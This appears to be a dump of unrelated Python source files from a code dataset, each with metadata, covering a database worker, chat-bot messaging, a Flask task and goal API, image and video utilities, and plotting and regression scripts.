get_connection():\n \"\"\"Simply return a database connection handle.\"\"\"\n\n db_name = os.getenv('DB_NAME')\n db_user = os.getenv('DB_USER')\n db_host = os.getenv('DB_HOST')\n db_pass = os.getenv('DB_PASS')\n\n db_url = 'dbname=%s user=%s host=%s password=%s' % (db_name, db_user, db_host, db_pass)\n logging.info('Connecting to database (DB_URL=%s)', db_url)\n\n conn = psycopg2.connect(db_url)\n conn.autocommit = True\n\n return conn\n\n\nif __name__ == \"__main__\":\n\n logging.basicConfig(format='%(asctime)s:%(levelname)s:worker-{}:%(message)s'.format(os.getenv('IMAGE_VERSION')),\n stream=sys.stdout,\n level=logging.DEBUG)\n logging.info('Started worker process')\n\n w = Worker(get_connection())\n w.attach()","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":7967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"626954080","text":"import time\nimport hmac\nimport hashlib\nimport base64\nimport urllib.parse\nimport json\nimport requests\nimport yaml\n\ndef get_config(key: str) -> str:\n config = {}\n try:\n with open(\"config.yaml\", \"r\", encoding='utf8') as f:\n text = f.read()\n config = yaml.load(text, Loader=yaml.FullLoader)\n except FileNotFoundError as e:\n print(\"文件不存在,已自动创建\", e)\n new_file = open('config.yaml', 'w', encoding='utf8')\n new_file.write('# 钉钉机器人 token & secret\\nACCESS_TOKEN: \"你的机器人 access token 字段\"\\nSECRET: \"你的机器人 secret 字段\"')\n new_file.close()\n if key and key in config:\n return config[key]\n return \"\"\n\nclass Robot():\n\n def __init__(self):\n self.url = 'https://oapi.dingtalk.com/robot/send'\n self.access_token = get_config('ACCESS_TOKEN')\n self.secret = get_config('SECRET')\n\n def get_sign(self, timestamp) -> str:\n secret = self.secret\n secret_enc = secret.encode('utf-8')\n string_to_sign = '{}\\n{}'.format(timestamp, secret)\n string_to_sign_enc = string_to_sign.encode('utf-8')\n hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()\n sign = urllib.parse.quote_plus(base64.b64encode(hmac_code))\n return sign\n\n def send_markdown(self, title, msg, at_mobiles=[]) -> dict:\n headers = {\n 'Content-Type': 'application/json;charset=utf-8'\n }\n timestamp = str(round(time.time() * 1000))\n params = {\n \"access_token\": self.access_token,\n \"timestamp\": timestamp,\n \"sign\": self.get_sign(timestamp)\n }\n data = {\n \"msgtype\": \"markdown\",\n \"markdown\": {\n \"title\": title,\n \"text\": msg\n },\n \"at\": {\n \"atMobiles\": at_mobiles,\n \"isAtAll\": False\n },\n }\n # print(params)\n r = requests.post(self.url, params=params, data=json.dumps(data), headers=headers)\n return r.json()\n\n\nif __name__ == '__main__':\n print(Robot().send_markdown(\"标题\", \"内容\"))","sub_path":"robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"2241014","text":"import cv2\nfrom win32api import GetSystemMetrics\nimport glob\n\n# 将截图合并为视频\ndef combine_pic():\n print('开始合并..')\n img_root = 'F:\\cth\\python\\cth_video\\handle_pic\\\\'\n num, fps, width, height = 0, 24, GetSystemMetrics(0), GetSystemMetrics(1)\n size = (width, height)\n video_writer = cv2.VideoWriter('F:\\cth\\python\\cth_video\\movie\\\\combine1.avi',cv2.VideoWriter_fourcc(*'XVID'),fps,size)\n for i in range(1, file_num()):\n frame = cv2.imread(f'{img_root}{i}.jpg')\n video_writer.write(frame)\n video_writer.release()\n print('合并完成..')\n\n# 查询jpg数量\ndef file_num():\n file_name=glob.glob(pathname='F:\\cth\\python\\cth_video\\handle_pic\\*.jpg') #获取当前文件夹下个数\n return len(file_name)\n\nif __name__ == '__main__':\n combine_pic()\n","sub_path":"src/main/movie/combinepic.py","file_name":"combinepic.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"586267664","text":"\"\"\"\nLogic for dashboard related routes\n\"\"\"\nimport os\nfrom flask import Blueprint, render_template,send_from_directory\nfrom flask_login import current_user\n\nblueprint = Blueprint('public', __name__)\n\n@blueprint.route('/favicon.ico', methods=['GET'])\ndef favicon():\n return send_from_directory(os.path.join(blueprint.root_path, 'static'),\n 'favicon.ico', mimetype='image/vnd.microsoft.icon')\n\n@blueprint.route('/', methods=['GET'])\ndef index():\n if not current_user:\n user=[]\n else:\n user=current_user\n return render_template('public/index.tmpl',user=user)\n\n\n\n","sub_path":"src/public/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"138334722","text":"class PipHelper(object):\n def __init__(self, workdir, executor):\n self.workdir = workdir\n self._executor = executor\n\n def _exec(self, command, fake_run=False):\n prepared_command = ['bin/pip']\n prepared_command.extend(command)\n self._executor(prepared_command, fake=fake_run)\n\n def install(self, packages, upgrade=False, fake_run=False):\n if not isinstance(packages, list):\n packages = [packages]\n command = ['install']\n if upgrade:\n command.append('--upgrade')\n command.extend(packages)\n self._exec(command, fake_run=fake_run)\n","sub_path":"cloudify_tester/helpers/pip.py","file_name":"pip.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"188132378","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport math\n\nif __name__ == \"__main__\":\n statistic_values = pickle.load(open('..//..//data_files//results_granger//11_15//statistics.pickle', 'rb'))\n crit_values = pickle.load(\n open('..//..//data_files//results_granger//11_15//critical.pickle', 'rb'))\n p_values = pickle.load(\n open('..//..//data_files//results_granger//11_15//p_values.pickle', 'rb'))\n cause_count = pickle.load(\n open('..//..//data_files//results_granger//11_15//cause_count.pickle', 'rb'))\n\n map_cent = ['cc', 'entropy', 'nbr_deg', 'bw', 'pr']\n data_to_plot = []\n titles = []\n for idx in range(len(map_cent)):\n sub = map_cent[idx]\n temp = []\n # num_feat = len(sub.split('+'))\n # if num_feat != 1:\n # continue\n for idx in range(len(p_values[sub])):\n if statistic_values[sub][idx] <= 0:\n continue\n temp.append(p_values[sub][idx])\n data_to_plot.append(temp)\n titles.append(sub)\n fig = plt.figure(1, figsize=(12, 8))\n\n # Create an axes instance\n ax = fig.add_subplot(111)\n\n # Create the boxplot\n bp = ax.boxplot(data_to_plot, patch_artist=True)\n\n for box in bp['boxes']:\n # change outline color\n box.set(color='#0000FF', linewidth=2)\n # change fill color\n box.set(facecolor='#FFFFFF')\n\n ## change color and linewidth of the whiskers\n # for whisker in bp['whiskers']:\n # whisker.set(color='#7570b3', linewidth=2)\n\n ## change color and linewidth of the caps\n # for cap in bp['caps']:\n # cap.set(color='#7570b3', linewidth=2)\n\n ## change color and linewidth of the medians\n for median in bp['medians']:\n median.set(color='#FF0000', linewidth=4)\n\n ## change the style of fliers and their fill\n for flier in bp['fliers']:\n flier.set(marker='o', color='#e7298a', alpha=0.5)\n\n third_quartile = [item.get_ydata()[0] for item in bp['whiskers']]\n third_quartile = max(third_quartile)\n\n first_quartile = [item.get_ydata()[1] for item in bp['whiskers']]\n first_quartile = max(first_quartile)\n\n # ax.set_title('Entropy', fontsize=55)\n # ax.set_title(r'\\textbf{Shortest path - Newly appeared nodes by interval}', fontsize=55)\n # ax.set_xlabel(, fontsize=25)\n # plt.ylim([-third_quartile - 0.5 * math.pow(10, int(math.log10(third_quartile))),\n # third_quartile + math.pow(10, int(math.log10(third_quartile)))])\n # plt.ylim([0, third_quartile + math.pow(10, int(math.log10(third_quartile)))])\n # plt.ylim([0, 3])\n plt.tick_params('y', labelsize=25)\n ax.set_xticklabels(titles, size=25)\n plt.grid(True)\n plt.show()\n\n # for sub in statistic_values:\n # # print(len(statistic_values[sub]))\n # plt.figure()\n # n, bins, patches = plt.hist(statistic_values[sub], bins=20, facecolor='g')\n # plt.xlabel('Statistic values - Wald test')\n # plt.ylabel('Frequency')\n # plt.title(sub)\n # plt.grid(True)\n # plt.show()\n # # plt.savefig('F://Inhibition//VAR_causality//plots//granger_plots//statistics_' + sub + '.png')\n # plt.close()\n #\n # cause_percentage = []\n # idx = 0\n # cause_idx = []\n # titles = []\n # for sub in statistic_values:\n # num_feat = len(sub.split('+'))\n # if num_feat != 1:\n # continue\n #\n # cause_percentage.append(cause_count[sub]/len(statistic_values[sub])*100 )\n # cause_idx.append(idx)\n # print(sub, cause_count[sub]/len(statistic_values[sub])*100 )\n # titles.append(sub)\n # idx += 1\n # print(len(titles))\n # fig = plt.figure()\n # ax = fig.add_subplot(1, 1, 1) # one row, one column, first plot\n # # Plot the data.\n # ax.scatter(cause_idx, cause_percentage, color=\"red\", marker=\"o\")\n # plt.xticks(range(len(titles)), titles, rotation=75, fontsize=20)\n # # ax.set_xticklabels(titles, size=20)\n # # ax.scatter(p_list_null, f_list_null, color=\"blue\", marker=\"o\")\n # # Add a title.\n # # ax.set_title(\"P_values vs Chi-square wald\")\n # # Add some axis labels.\n # # ax.set_xlabel(\"P-values\")\n # ax.set_ylabel(\"Percentage of cascades where feat GCaused T\", fontsize=20)\n # # for tick in ax.get_xticklabels():\n # # tick.set_rotation(45)\n # plt.subplots_adjust(bottom=0.15)\n # # plt.ylim([0, 10])\n # plt.show()\n\n # for sub in statistic_values:\n # print(sub)\n # # num_feat = len(sub.split('+'))\n # # if num_feat != 1:\n # # continue\n # fig = plt.figure()\n # ax = fig.add_subplot(1, 1, 1) # one row, one column, first plot\n # # Plot the data.\n # ax.scatter(p_values[sub], statistic_values[sub], color=\"red\", marker=\"o\")\n # # ax.scatter(p_list_null, f_list_null, color=\"blue\", marker=\"o\")\n # # Add a title.\n # ax.set_title(\"P_values vs Chi-square wald\")\n # # Add some axis labels.\n # ax.set_xlabel(\"P-values\")\n # ax.set_ylabel(\"Chi-square wald\")\n # plt.show()\n # # plt.ylim([0, 10])\n # plt.show()\n # # plt.savefig('F://Inhibition//VAR_causality//plots//P_F_entropy_wo_difference_Y.png')\n","sub_path":"utilities/plot_causalitytests.py","file_name":"plot_causalitytests.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"86265574","text":"file_name = \"c:\\\\class\\\\heroes.txt\"\n\nnew_hero = input(\"What hero should be added to the list? \")\n\n\n\n# ctrl + k, ctrl + u - Uncomment\n# ctrl + k, ctrl + c - Comment\n\n\nif new_hero:\n with open(file_name, \"a\") as heroes:\n heroes.write(new_hero + \"\\n\")\n print(f\"{new_hero} was added\")\nelse:\n print(\"No data, exiting\")\n\n","sub_path":"addHero.py","file_name":"addHero.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"189082312","text":"# Copyright 2015-2016 NEC Corporation. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport mock\nfrom neutron.tests import base\n\nfrom networking_nec.nwa.l2.rpc import nwa_agent_callback\n\n\nclass TestNECNWAAgentRpcCallback(base.BaseTestCase):\n\n def setUp(self):\n super(TestNECNWAAgentRpcCallback, self).setUp()\n self.context = mock.MagicMock()\n self.agent = mock.MagicMock()\n self.callback = nwa_agent_callback.NwaAgentRpcCallback(\n self.context, self.agent\n )\n\n def test_get_nwa_rpc_server(self):\n rd = self.callback.get_nwa_rpc_servers(self.context, kwargs={})\n self.assertIsInstance(rd, dict)\n\n def test_create_server(self):\n params = {'tenant_id': 'T1'}\n rd = self.callback.create_server(self.context, kwargs=params)\n self.assertIsNotNone(rd)\n\n def test_delete_server(self):\n params = {'tenant_id': 'T1'}\n rd = self.callback.delete_server(self.context, kwargs=params)\n self.assertIsNotNone(rd)\n","sub_path":"networking_nec/tests/unit/nwa/l2/rpc/test_nwa_agent_callback.py","file_name":"test_nwa_agent_callback.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"186580349","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division\nimport math\nimport numpy as np\nimport scipy as sp\nimport pandas\nimport matplotlib.pyplot as plt\nfrom progressbar import ProgressBar\nfrom scipy.sparse import csr_matrix\nfrom scipy.sparse import linalg as sparse_linalg\nimport sys\nfile_dir = '/localhome/pykb/physics_code/Exact_Diagonalization/Classes/'\nsys.path.append(file_dir)\nfile_dir = '/localhome/pykb/physics_code/Exact_Diagonalization/functions/'\nsys.path.append(file_dir)\n\nfrom Hamiltonian_Classes import Hamiltonian,H_table,clock_Hamiltonian,spin_Hamiltonian\nfrom System_Classes import unlocking_System,U1_system\nfrom Symmetry_Classes import translational,parity,model_sym_data,charge_conjugation\n# from Plotting_Classes import eig_overlap,fidelity,entropy,energy_basis\nfrom Non_observables import zm\nfrom Construction_functions import bin_to_int_base_m,int_to_bin_base_m,cycle_bits_state\nfrom Search_functions import find_index_bisection\nfrom State_Classes import zm_state,sym_state,prod_state,bin_state,ref_state\nfrom rw_functions import save_obj,load_obj\nfrom Calculations import level_stats,fidelity,eig_overlap,entropy,site_precession,site_projection,time_evolve_state\n\nfrom matplotlib import rc\nrc('font',**{'family':'sans-serif','sans-serif':['Computer Modern'],'size':26})\n## for Palatino and other serif fonts use:\n#rc('font',**{'family':'serif','serif':['Palatino']})\nrc('text', usetex=True)\n# matplotlib.rcParams['figure.dpi'] = 400\n\ndef find_hamming_sectors(state_bits,system):\n #organize states via hamming distance from Neel\n hamming_sectors = dict()\n for n in range(0,system.N+1):\n hamming_sectors[n] = []\n for n in range(0,system.dim):\n h = 0\n for m in range(0,system.N,1):\n if system.basis[n][m] != state_bits[m]:\n h = h+1\n hamming_sectors[int(h)] = np.append(hamming_sectors[int(h)],system.basis_refs[n])\n return hamming_sectors\n\nimport numpy as np\nimport scipy as sp\nimport math\n\nN = 20\npxp = unlocking_System([0],\"periodic\",2,N)\npxp.gen_basis()\npxp_syms=model_sym_data(pxp,[translational(pxp)])\n\nH=spin_Hamiltonian(pxp,\"x\",pxp_syms)\nz=zm_state(2,1,pxp)\nk=pxp_syms.find_k_ref(z.ref)\nfor n in range(0,np.size(k,axis=0)):\n H.gen(k[n])\n H.sector.find_eig(k[n])\n eig_overlap(z,H,k[n]).plot()\n \n\nx1=np.load(\"./subcube,e,20.npy_\")\nx2=np.load(\"./subcube,perm,e,20.npy\")\nx3=np.load(\"./subcube,fsa,e,20.npy\")\n\ny1=np.load(\"./subcube,overlap,20.npy_\")\ny2=np.load(\"./subcube,perm,overlap,20.npy\")\ny3=np.load(\"./subcube,fsa,overlap,20.npy\")\n\ndef dell(x,y):\n to_del=[]\n for n in range(0,np.size(y,axis=0)):\n if y[n] <-5:\n to_del = np.append(to_del,n)\n for n in range(np.size(to_del,axis=0)-1,-1,-1):\n y=np.delete(y,to_del[n])\n x=np.delete(x,to_del[n])\n return x,y\n\nx1,y1 = dell(x1,y1)\nx2,y2 = dell(x2,y2)\nx3,y3 = dell(x3,y3)\n\nplt.scatter(x1,y1,marker=\"s\",color=\"red\",s=100,alpha=0.6,label=\"Subcube\")\nplt.scatter(x2,y2,marker=\"x\",s=100,label=\"Perm\")\nplt.scatter(x3,y3,marker=\"D\",s=100,color=\"green\",alpha=0.6,label=\"FSA\")\nplt.xlabel(r\"$E$\")\nplt.ylabel(r\"$\\log(\\vert \\langle \\psi \\vert E \\rangle \\vert^2)$\")\nplt.title(r\"Scar approximations, overlap with Neel state, $PXP$, N=\"+str(pxp.N))\nplt.legend()\nplt.show()\n\nx1=np.load(\"./subcube,e,20.npy_\")\nx2=np.load(\"./subcube,perm,e,20.npy\")\nx3=np.load(\"./subcube,fsa,e,20.npy\")\n\ny1=np.load(\"./approx_qual,cube,20.npy\")\ny2=np.load(\"./approx_qual,perm,20.npy\")\ny3=np.load(\"./approx_qual,fsa,20.npy\")\n\nplt.scatter(x1,y1,marker=\"s\",color=\"red\",s=100,alpha=0.6,label=\"Subcube\")\nplt.scatter(x2,y2,marker=\"x\",s=100,label=\"Perm\")\nplt.scatter(x3,y3,marker=\"D\",s=100,color=\"green\",alpha=0.6,label=\"FSA\")\nplt.xlabel(r\"$E$\")\nplt.ylabel(r\"$\\log(\\vert \\langle \\psi \\vert E \\rangle \\vert^2)$\")\nplt.title(r\"Scar approximations, overlap with exact eigenstates, $PXP$, N=\"+str(pxp.N))\nplt.legend()\nplt.show()\n","sub_path":"projects/approximate_su2/temp20.py","file_name":"temp20.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"81638351","text":"\n\n\nimport os\nimport numpy as np\nimport cv2\nimport random\n\nimport torch.utils.data as data\n\n\nfrom ..transforms.ferrender import Generator\n\nfrom pytvision.datasets import imageutl as imutl\nfrom pytvision.datasets import utility\nfrom pytvision.transforms import functional as F\n\n\nfrom pytvision.transforms.aumentation import( \n ObjectImageMaskAndWeightTransform, \n ObjectImageTransform, \n ObjectImageAndLabelTransform, \n ObjectImageAndMaskTransform, \n ObjectRegressionTransform, \n ObjectImageAndAnnotations,\n ObjectImageAndMaskMetadataTransform,\n )\n\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\nclass SyntheticFaceDataset( data.Dataset ):\n ''' Management for Synthetic Face dataset'''\n generate_image = 'image'\n generate_image_and_mask = 'image_and_mask' \n\n def __init__(self, \n data,\n pathnameback=None,\n ext='jpg',\n count=None,\n num_channels=3,\n generate='image_and_mask',\n iluminate=True, angle=45, translation=0.3, warp=0.1, factor=0.2,\n transform_image=None,\n transform_data=None,\n ):\n \"\"\"Initialization\n :params\n pathnameback: when it is none, background is white\n count: trainiteration/testiteration, to generate more images with different background\n\n \"\"\" \n # Assign all self variables for later.\n self.data = data\n self.bbackimage = pathnameback != None\n self.databack = None\n\n if count is None:\n count = len(data)\n\n # If the user gives us a place to save these images, do so.\n if self.bbackimage: \n pathnameback = os.path.expanduser( pathnameback )\n self.databack = imutl.imageProvide( pathnameback, ext=ext ) \n \n self.num_classes=data.numclass\n self.labels = data.labels\n self.num_channels = num_channels\n self.generate = generate\n self.ren = Generator( iluminate, angle, translation, warp, factor ) \n self.count=count\n \n self.transform_image = transform_image \n self.transform_data = transform_data \n \n \n\n def __len__(self):\n return self.count\n\n def __getitem__(self, idx):\n\n # read image \n image, label = self.data[ (idx)%len(self.data) ]\n #A,A_inv = F.compute_norm_mat( image.shape[1], image.shape[0] )\n #image = F.equalization(image,A,A_inv)\n image = utility.to_channels(image, self.num_channels)\n \n # read background \n if self.bbackimage:\n idxk = random.randint(1, len(self.databack) - 1 )\n # print(\"idxk\", idxk)\n\n back = self.databack[ idxk ] \n back = F.resize_image(back, 640, 1024, resize_mode='crop', interpolate_mode=cv2.INTER_LINEAR);\n back = utility.to_channels(back, self.num_channels)\n else:\n back = np.ones( (640,1024,3), dtype=np.uint8 )*255\n \n if self.generate == 'image':\n obj = ObjectImageTransform( image )\n \n elif self.generate == 'image_and_mask': \n \n image_org, image_ilu, mask, h = self.ren.generate( image, back ) \n \n image_org = utility.to_gray( image_org.astype(np.uint8) )\n image_org = utility.to_channels(image_org, self.num_channels)\n image_org = image_org.astype(np.uint8)\n \n image_ilu = utility.to_gray( image_ilu.astype(np.uint8) )\n image_ilu = utility.to_channels(image_ilu, self.num_channels)\n image_ilu = image_ilu.astype(np.uint8) \n \n mask = mask[:,:,0]\n mask_t = np.zeros( (mask.shape[0], mask.shape[1], 2) )\n mask_t[:,:,0] = (mask == 0).astype( np.uint8 ) # 0-backgraund\n mask_t[:,:,1] = (mask == 1).astype( np.uint8 )\n \n obj_image = ObjectImageTransform( image_org.copy() )\n obj_data = ObjectImageAndMaskMetadataTransform( image_ilu.copy(), mask_t, np.concatenate( ( [label], h),axis=0 ) ) #np.array([label])\n \n else: \n assert(False) # the user didn't say if they wanted us to generate just an image or if they wanted us to return the max as well.\n\n if self.transform_image: \n obj_image = self.transform_image( obj_image ) \n\n if self.transform_data: \n obj_data = self.transform_data( obj_data )\n \n x_img, y_mask, y_lab = obj_data.to_value()\n x_org = obj_image.to_value()\n \n return x_org, x_img, y_mask, y_lab\n\n","sub_path":"torchlib/datasets/fersynthetic.py","file_name":"fersynthetic.py","file_ext":"py","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"213244717","text":"import config, os\n\ndef stream_file(fin, fout):\n shared = config.shared_directory\n try:\n with open(shared + \"/\" + fin, \"r\") as f:\n size = os.stat(shared + fin).st_size\n\n\n if size == os.stat(fin).st_size:\n return\n\n fin.seek(size + 1)\n while True:\n chunk = fin.read(config.chunk_size)\n if not chunk: break\n fout.write(chunk)\n\n except IOError as e:\n return None\n\n while True:\n chunk = fin.read(config.chunk_size)\n if not chunk: break\n fout.write(chunk)\n","sub_path":"sandwich/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"256787700","text":"from app import db\nfrom app.models.task import Task\nfrom datetime import datetime\nfrom flask import request, Blueprint, make_response, jsonify\nimport requests\nimport os\n# from slack_sdk import WebClient\n# from slack_sdk.errors import SlackApiError\nfrom app.models.goal import Goal\n\n\ngoals_bp = Blueprint(\n \"goals\", __name__, url_prefix=\"/goals\")\ntasks_bp = Blueprint(\n \"tasks\", __name__, url_prefix=\"/tasks\")\n\n\n# -------------------------\n# WAVE 1 - TASK ENDPOINTS\n# -------------------------\n@tasks_bp.route(\"\", methods=[\"POST\"], strict_slashes=False)\ndef create_task():\n request_body = request.get_json()\n if \"title\" in request_body and \"description\" in request_body and \"completed_at\" in request_body:\n new_task = Task(\n title=request_body[\"title\"],\n description=request_body[\"description\"],\n completed_at=request_body[\"completed_at\"]\n )\n db.session.add(new_task)\n db.session.commit()\n return jsonify({\"task\": new_task.to_json()}), 201\n else:\n return make_response({\"details\": \"Invalid data\"}, 400)\n\n\n# WAVE 2\n@tasks_bp.route(\"\", methods=[\"GET\"], strict_slashes=False)\ndef task_index():\n sort_query = request.args.get(\"sort\")\n if sort_query == \"asc\":\n tasks = Task.query.order_by(Task.title)\n elif sort_query == \"desc\":\n tasks = Task.query.order_by(Task.title.desc())\n else:\n tasks = Task.query.all()\n tasks_response = [(task.to_json()) for task in tasks]\n return make_response(jsonify(tasks_response), 200)\n\n\n# WAVE 1\n@tasks_bp.route(\"/\", methods=[\"GET\"], strict_slashes=False)\ndef get_one_task(task_id):\n task = Task.query.get(task_id)\n if task is None:\n return make_response(\"\", 404)\n# thank you audrey!\n elif task.goal_id is None:\n return jsonify({\"task\": task.to_json()}), 200\n else:\n return jsonify({\"task\": task.with_goal()}), 200\n\n\n@tasks_bp.route(\"/\", methods=[\"PUT\"], strict_slashes=False)\ndef update_task(task_id):\n task = Task.query.get(task_id)\n if task is None:\n return make_response(\"\", 404)\n else:\n form_data = request.get_json()\n task.title = form_data[\"title\"]\n task.description = form_data[\"description\"]\n task.completed_at = form_data[\"completed_at\"]\n db.session.commit()\n return jsonify({\"task\": task.to_json()}), 200\n\n\n@tasks_bp.route(\"/\", methods=[\"DELETE\"], strict_slashes=False)\ndef delete_task(task_id):\n task = Task.query.get(task_id)\n if task is None:\n return make_response(\"\", 404)\n else:\n db.session.delete(task)\n db.session.commit()\n task_response = {\n \"details\": f'Task {task.task_id} \"{task.title}\" successfully deleted'}\n return make_response(task_response), 200\n\n\n# WAVE 3\n@tasks_bp.route(\"//mark_incomplete\", methods=[\"PATCH\"], strict_slashes=False)\ndef handle_incomplete(task_id):\n task = Task.query.get(task_id)\n if task is None:\n return make_response(\"\", 404)\n else:\n task.completed_at = None\n db.session.commit()\n return jsonify({\"task\": task.to_json()}), 200\n\n\n@tasks_bp.route(\"//mark_complete\", methods=[\"PATCH\"], strict_slashes=False)\ndef handle_complete(task_id):\n task = Task.query.get(task_id)\n if task is None:\n return make_response(\"\", 404)\n else:\n task.completed_at = datetime.now()\n db.session.commit()\n call_slack_api(task)\n return jsonify({\"task\": task.to_json()}), 200\n\n\n# WAVE 4\ndef call_slack_api(task):\n SLACK_TOKEN = os.environ.get(\"SLACK_BOT_TOKEN\")\n url = \"https://slack.com/api/chat.postMessage\"\n payload = {\n \"channel\": \"task-notifications\",\n \"text\": f\"Someone just completed the task {task.title}\"}\n headers = {\n \"Authorization\": f\"Bearer {SLACK_TOKEN}\",\n }\n return requests.request(\"POST\", url, headers=headers, data=payload)\n\n# IGNORE - WORKS BUT USES SLACK BOLT/PYTHON SDK (from slack API docs) instead of requests.package\n# def call_slack_api(task):\n# client = WebClient(token=os.environ.get(\"SLACK_BOT_TOKEN\"))\n# channel_id = \"task-notifications\"\n# # try:\n# result = client.chat_postMessage(\n# channel=channel_id,\n# text=f\"Someone just completed the task {task.title}\")\n# return result\n\n\n# -------------------------\n# WAVE 5 - GOAL ENDPOINTS\n# -------------------------\n@goals_bp.route(\"\", methods=[\"POST\"], strict_slashes=False)\ndef create_goal():\n request_body = request.get_json()\n if \"title\" in request_body:\n new_goal = Goal(\n title=request_body[\"title\"])\n db.session.add(new_goal)\n db.session.commit()\n return jsonify({\"goal\": new_goal.to_dict()}), 201\n return make_response({\"details\": \"Invalid data\"}, 400)\n\n\n@goals_bp.route(\"\", methods=[\"GET\"], strict_slashes=False)\ndef goal_index():\n goals = Goal.query.all()\n goals_response = [(goal.to_dict()) for goal in goals]\n return make_response(jsonify(goals_response), 200)\n\n\n@goals_bp.route(\"/\", methods=[\"GET\"], strict_slashes=False)\ndef get_one_goal(goal_id):\n goal = Goal.query.get(goal_id)\n if goal is None:\n return make_response(\"\", 404)\n return jsonify({\"goal\": goal.to_dict()}), 200\n\n\n@goals_bp.route(\"/\", methods=[\"PUT\"], strict_slashes=False)\ndef update_goal(goal_id):\n goal = Goal.query.get(goal_id)\n if goal is None:\n return make_response(\"\", 404)\n else:\n form_data = request.get_json()\n goal.title = form_data[\"title\"]\n db.session.commit()\n return jsonify({\"goal\": goal.to_dict()}), 200\n\n\n@goals_bp.route(\"/\", methods=[\"DELETE\"], strict_slashes=False)\ndef delete_goal(goal_id):\n goal = Goal.query.get(goal_id)\n if goal is None:\n return make_response(\"\", 404)\n else:\n db.session.delete(goal)\n db.session.commit()\n goal_response = {\n \"details\": f'Goal {goal.goal_id} \"{goal.title}\" successfully deleted'}\n return make_response(goal_response), 200\n\n\n# WAVE 6\n@goals_bp.route(\"//tasks\", methods=[\"POST\"], strict_slashes=False)\ndef sending_list_tasks_to_goal(goal_id):\n request_body = request.get_json()\n tasks = request_body[\"task_ids\"]\n # (db)\n goal = Goal.query.get(goal_id)\n for task_id in tasks:\n task_db_object = Task.query.get(task_id)\n goal.tasks.append(task_db_object)\n # task_db_object.goal_id = int(goal_id)\n db.session.commit()\n return {\"id\": goal.goal_id,\n \"task_ids\": tasks}, 200\n\n\n@goals_bp.route(\"//tasks\", methods=[\"GET\"], strict_slashes=False)\ndef getting_tasks_of_one_goal(goal_id):\n goal = Goal.query.get(goal_id)\n if goal is None:\n return make_response(\"\", 404)\n tasks = Task.query.join(Goal).filter(Task.goal_id == goal_id).all()\n # tasks_response = []\n tasks_response = [(task.with_goal()) for task in tasks]\n return{\"id\": goal.goal_id, \"title\": goal.title, \"tasks\": tasks_response}, 200\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":6997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"641495425","text":"# implement three variable linear regression.\n\n# 1 read normalized Clinical Data(X), Thickness Data(Y)\n# 2 The fixed input variable: [Age, AxialLength]\n# 3 Other trying input variable: ['Gender', 'IOP', 'BMI', 'WHR', 'SysBP', 'DiasBP', 'Hypertension']\n# 4 define output data structure:\n# R2: 7x81 format.3f\n# AIC: 7x 81 format:e\n# p_value: 7x3x81 format: .3f model x nInput x sector\n#\n# 4 loop: 7 trying input feature;\n# 9x9 thickness\n# MLR\n# record Result for one.\n\nMLR_Dir =\"/home/hxie1/data/BES_3K/MLinearRegression\"\nN = 2235# for /home/hxie1/data/BES_3K/GTs/HypertensionStudyID_CompleteClinic_20211009.txt\nXFilename = f\"GenderAgeIOP_AL_BMI_WHR_SysBP_DiasBP_HBP_{N}x9Features_normalized.npy\"\nThicknessFilename = f\"ETDTRSSectorThickness_{N}x81.npy\"\n\n# X input index order\nXNames = ['Gender', 'Age', 'IOP', 'AxialLength', 'BMI', 'WHR', 'SysBP', 'DiasBP', 'Hypertension']\n#XIndex = 0 1 2 3 4 5 6 7 8\nnFtrs = len(XNames)\n\nfixedXIndexes = (1, 3)\ntryingXindexes = (0,2,4,5,6,7,8)\nnTrying = len(tryingXindexes)\nnInput = len(fixedXIndexes) +1\nmodelClass=f\"{nInput}VariableLR\"\n\nK = 20 # top K max R-sqare value.\n\nnSectors = 81\nlayerNames=[\"RNFL\", \"GCL\", \"IPL\",\"INL\",\"OPL\", \"ONL-ELM\", \"EllipsoidZone\",\"PhotoreceptorSeg\",\"RPE-BruchComplex\",]\nsectorNames=[ \"Fovea\", \"NasalInner\", \"SuperiorInner\", \"TemporalInner\", \"InferiorInner\", \"NasalOuter\", \"SuperiorOuter\", 